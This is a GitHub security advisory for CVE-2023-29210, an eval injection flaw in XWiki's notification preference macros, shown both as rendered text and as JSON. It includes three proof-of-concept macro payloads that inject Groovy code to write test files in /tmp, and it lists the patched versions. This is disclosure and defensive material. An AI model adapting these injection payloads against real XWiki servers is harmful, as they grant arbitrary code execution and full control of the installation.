ghsa-p9mj-v5mf-m82x
Vulnerability from github
Published
2023-04-12 20:35
Modified
2023-04-16 07:16
Severity ?
9.9 (Critical) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Summary
org.xwiki.platform:xwiki-platform-notifications-ui Eval Injection vulnerability
Details

Impact

Any user with view rights on commonly accessible documents including the notification preferences macros can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the user parameter of the macro that provide the notification filters. These macros are used in the user profiles and thus installed by default in XWiki.

A proof of concept exploit is

``` {{notificationsFiltersPreferences target="user" user="~" /~}~} {{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new File(~"/tmp/exploit.txt~").withWriter { out -> out.println(~"created from filter preferences!~"); }{{/groovy~}~}{{/async~}~}"/}}

{{notificationsAutoWatchPreferences target="user" user="~" /~}~} {{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new File(~"/tmp/exploit2.txt~").withWriter { out -> out.println(~"created from auto watch preferences!~"); }{{/groovy~}~}{{/async~}~}"/}}

{{notificationsEmailPreferences target="user" user="~" /~}~} {{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new File(~"/tmp/exploit3.txt~").withWriter { out -> out.println(~"created from email filter preferences!~"); }{{/groovy~}~}{{/async~}~}"/}} ```

If this creates files inside /tmp, the installation is vulnerable.

Patches

The vulnerability has been patched in XWiki 13.10.11, 14.4.7 and 14.10.

Workarounds

The issue can be fixed by patching the code in the affected macros that are contained in XWiki documents as shown in the patch for this issue.

References

  • https://github.com/xwiki/xwiki-platform/commit/cebf9167e4fd64a8777781fc56461e9abbe0b32a
  • https://jira.xwiki.org/browse/XWIKI-20259

For more information

If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-notifications-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "13.2-rc-1"
            },
            {
              "fixed": "13.10.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-notifications-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.0-rc-1"
            },
            {
              "fixed": "14.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-notifications-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.5"
            },
            {
              "fixed": "14.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-29210"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-04-12T20:35:13Z",
    "nvd_published_at": "2023-04-15T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nAny user with view rights on commonly accessible documents including the notification preferences macros can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the user parameter of the macro that provide the [notification filters](https://extensions.xwiki.org/xwiki/bin/view/Extension/Notifications%20Application/#HFilters). These macros are used in the user profiles and thus installed by default in XWiki.\n\nA proof of concept exploit is\n\n```\n{{notificationsFiltersPreferences target=\"user\" user=\"~\" /~}~} {{async async=~\"true~\" cached=~\"false~\" context=~\"doc.reference~\"~}~}{{groovy~}~}new File(~\"/tmp/exploit.txt~\").withWriter { out -\u003e out.println(~\"created from filter preferences!~\"); }{{/groovy~}~}{{/async~}~}\"/}}\n\n{{notificationsAutoWatchPreferences target=\"user\" user=\"~\" /~}~} {{async async=~\"true~\" cached=~\"false~\" context=~\"doc.reference~\"~}~}{{groovy~}~}new File(~\"/tmp/exploit2.txt~\").withWriter { out -\u003e out.println(~\"created from auto watch preferences!~\"); }{{/groovy~}~}{{/async~}~}\"/}}\n\n{{notificationsEmailPreferences target=\"user\" user=\"~\" /~}~} {{async async=~\"true~\" cached=~\"false~\" context=~\"doc.reference~\"~}~}{{groovy~}~}new File(~\"/tmp/exploit3.txt~\").withWriter { out -\u003e out.println(~\"created from email filter preferences!~\"); }{{/groovy~}~}{{/async~}~}\"/}}\n```\n\nIf this creates files inside `/tmp`, the installation is vulnerable.\n\n### Patches\nThe vulnerability has been patched in XWiki 13.10.11, 14.4.7 and 14.10.\n\n### Workarounds\nThe issue can be fixed by patching the code in the affected macros that are contained in XWiki documents as shown in the [patch](https://github.com/xwiki/xwiki-platform/commit/cebf9167e4fd64a8777781fc56461e9abbe0b32a) for this issue.\n\n### References\n* https://github.com/xwiki/xwiki-platform/commit/cebf9167e4fd64a8777781fc56461e9abbe0b32a\n* https://jira.xwiki.org/browse/XWIKI-20259\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n",
  "id": "GHSA-p9mj-v5mf-m82x",
  "modified": "2023-04-16T07:16:09Z",
  "published": "2023-04-12T20:35:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-p9mj-v5mf-m82x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29210"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/cebf9167e4fd64a8777781fc56461e9abbe0b32a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-20259"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "org.xwiki.platform:xwiki-platform-notifications-ui Eval Injection vulnerability"
}


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